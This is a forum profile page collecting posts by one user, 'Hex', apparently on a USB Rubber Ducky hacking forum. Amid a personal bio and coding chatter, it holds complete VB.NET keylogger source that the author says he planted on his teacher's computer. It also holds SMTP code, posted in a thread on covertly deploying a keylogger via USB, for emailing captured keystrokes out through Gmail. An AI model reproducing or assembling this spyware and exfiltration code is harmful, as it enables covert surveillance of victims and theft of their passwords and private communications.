{ Hex }
-
Posts
10 -
Joined
-
Last visited
Posts posted by { Hex }
-
-
My name is Jack a.k.a Hex
Favourite game: Fallout
Favourite OS: Windows
Favourite console: Pc master race
Nationality: American
Accent: English (southern)
Sex: Male
Race: White
Height: 6.4
Build: Skinny + strong
Favourite band: Iron maiden
Favourite book: Microsoft Visual Basic 2010 Dev handbook (Klaus Loffelmann)
Favourite author: NA
Favourite movie: Never back down
Favourite director: alfred hitchcockFavourite TV Show: Naruto
Favourite actor: leonardo dicaprioFavourite actress: NA
Favourite Pinup: NA
Favourite Comedian: Gabriel Iglesias
Other hobbies: Programming,MMA,fitness.
Car: Ram 1500 (white)
Occupation: Collage(2 years for core) + 4 years for masters in Computer Programming & HVAC on the side -
very cool my m8 has a smart tv gonna go camp outside his house sometime soon and hopefully fuck with his tv.
-
here a shitty logger i made in in 9th grade to put on my teacher computer it's shit like i said use a lowlevelKeyboard hook
Imports System.IOPublic Class Form1Private Declare Function gmp Lib "user32" Alias "GetAsyncKeyState" (ByVal K As Integer) As ShortPrivate Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.LoadTimer1.Start()Timer2.Start()End SubPrivate Sub Timer1_Tick(sender As Object, e As EventArgs) Handles Timer1.TickDim Temp As String = My.Computer.FileSystem.SpecialDirectories.TempIf (gmp(65)) Thenbox.Text = box.Text + "a"ElseIf (gmp(66)) Thenbox.Text = box.Text + "b"ElseIf (gmp(67)) Thenbox.Text = box.Text + "c"ElseIf (gmp(68)) Thenbox.Text = box.Text + "d"ElseIf (gmp(69)) Thenbox.Text = box.Text + "e"ElseIf (gmp(70)) Thenbox.Text = box.Text + "f"ElseIf (gmp(71)) Thenbox.Text = box.Text + "g"ElseIf (gmp(72)) Thenbox.Text = box.Text + "h"ElseIf (gmp(73)) Thenbox.Text = box.Text + "i"ElseIf (gmp(74)) Thenbox.Text = box.Text + "j"ElseIf (gmp(75)) Thenbox.Text = box.Text + "k"ElseIf (gmp(76)) Thenbox.Text = box.Text + "l"ElseIf (gmp(77)) Thenbox.Text = box.Text + "m"ElseIf (gmp(78)) Thenbox.Text = box.Text + "n"ElseIf (gmp(79)) Thenbox.Text = box.Text + "o"ElseIf (gmp(80)) Thenbox.Text = box.Text + "p"ElseIf (gmp(81)) Thenbox.Text = box.Text + "q"ElseIf (gmp(82)) Thenbox.Text = box.Text + "r"ElseIf (gmp(83)) Thenbox.Text = box.Text + "s"ElseIf (gmp(84)) Thenbox.Text = box.Text + "t"ElseIf (gmp(85)) Thenbox.Text = box.Text + "u"ElseIf (gmp(86)) Thenbox.Text = box.Text + "v"ElseIf (gmp(87)) Thenbox.Text = box.Text + "w"ElseIf (gmp(88)) Thenbox.Text = box.Text + "x"ElseIf (gmp(89)) Thenbox.Text = box.Text + "y"ElseIf (gmp(90)) Thenbox.Text = box.Text + "z"ElseIf (gmp(32)) Thenbox.Text = box.Text + " "ElseIf (gmp(16)) Thenbox.Text = box.Text + " [sHIFT] "ElseIf (gmp(20)) Thenbox.Text = box.Text + " [CAPS] "ElseIf (gmp(48)) Thenbox.Text = box.Text + "0"ElseIf (gmp(49)) Thenbox.Text = box.Text + "1"ElseIf (gmp(50)) Thenbox.Text = box.Text + "2"ElseIf (gmp(51)) Thenbox.Text = box.Text + "3"ElseIf (gmp(52)) Thenbox.Text = box.Text + "4"ElseIf (gmp(53)) Thenbox.Text = box.Text + "5"ElseIf (gmp(54)) Thenbox.Text = box.Text + "6"ElseIf (gmp(55)) Thenbox.Text = box.Text + "7"ElseIf (gmp(56)) Thenbox.Text = box.Text + "8"ElseIf (gmp(57)) Thenbox.Text = box.Text + "9"ElseIf (gmp(45)) ThenForce_Dump()ElseIf (gmp(46)) ThenProcess.Start(Temp + "\ELUAC.txt")ElseIf (gmp(145)) ThenDim pro() As Process = Process.GetProcessesByName("Taskmggr")For Each pr As Process In propr.Kill()NextEnd IfEnd SubPrivate Sub Force_Dump()' Dim MD As String = Mid(Environment.GetFolderPath(Environment.SpecialFolder.System), 1, 3)Dim Temp As String = My.Computer.FileSystem.SpecialDirectories.TempIf File.Exists(Temp + "\ELUAC.txt") ThenElseFile.Create(Temp + "\EULAC.txt")End IfDim WR As System.IO.StreamWriterWR = My.Computer.FileSystem.OpenTextFileWriter(Temp + "\ELUAC.txt", True)WR.WriteLine("Force Dump @ " + System.DateTime.Now + "] " + box.Text)WR.Close()End SubPrivate Sub Timer2_Tick(sender As Object, e As EventArgs) Handles Timer2.TickDim Temp As String = My.Computer.FileSystem.SpecialDirectories.TempIf File.Exists(Temp + "\ELUAC.txt") ThenElseFile.Create(Temp + "\EULAC.txt")End IfDim WR As System.IO.StreamWriterWR = My.Computer.FileSystem.OpenTextFileWriter(Temp + "\ELUAC.txt", True)WR.WriteLine("Timed Dump @ " + System.DateTime.Now + "] " + box.Text)WR.Close()End SubEnd Class -
spotted the issue in 2 secs
Change: Private Declare Function GetAsyncKeyState Lib "USER32" (ByVal vKey As Long) As Integer
Too: Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As integer) As short
if you care about what i have to say i rather use a lowlevelkeyboard hook for a keylogger
-
i can make something like this in vb hmu if you like me to help.
-
Well, since you won't bother to scan it, I guess I will. Just because you state something is safe, doesn't mean people will run it without checking the code and compiling themselves. I don't have .net setup at the moment, but I am curious if anyone has compiled the source and compared it to the uploaded files though.
with that being said this is project you can look over the code before you run it even it was just the .exe there are .net decomps everywhere.
-
and for the .dll and other exes
one a compiled app the other stuff that visual studio & vb put in there
-
Well, perhaps you should reconsider that since your code drop contains 3 exe files and a dll
A few things:
1. You wrote this in VB. .Net is the platform, not the language.
2. Comments! It'll save your sanity when you get back to your code after doing something else for a month or two.
3. You're mixing UI logic with business logic. While "Button5_Click" might make sense in the context of clicking a button, the things you do at that point (write what has happened so far to a logfile) should be put in its own, separate function with a vastly more appropriate name. And probably within a file other than "Form1.vb". The hooks you're placing on the FileSystemWatcher object would probably also be better served with a separate code file.
4. Did I mention comments?
about calling it .net were i come from sometimes that how it is named i always put vb over .net i just did not feel like it people most of the time know what your talking about when you say that anyway.
Comments() i use them but not all the time prob cause im lazy.
-
Hello,
This is a visual studio project of mine i posted it on a other forums and i decided for my 1st post\thread ill rel my small project.
This monitors file events on the FileSystem this application is written in the .net language and this is the full source.
Thank you.
p.s i'm not gonna post a VT scan cause this is the vss (source)
Compiling .exe keylogger for use with Ducky
in Classic USB Rubber Ducky
Posted
well if you want a "Free" keylogger i posted the source to a i guess decent to a point but if said user types fast then it will have a hard time picking up what he/she types it better to use a keyboardhook you can just modify the source i posted you can modify it just add this in on a timer
imports system.net.mail
Dim mail As New MailMessage()
Dim SmtpServer As New SmtpClient("smtp.gmail.com")
mail.From = New MailAddress("@gmail.com")
mail.To.Add("The email in witch the data will be sent")
mail.Subject = ""
mail.Body = ""
SmtpServer.Port = 587
SmtpServer.Credentials = New System.Net.NetworkCredential("Email", "Pass")
SmtpServer.EnableSsl = True
SmtpServer.Send(mail)
-Hex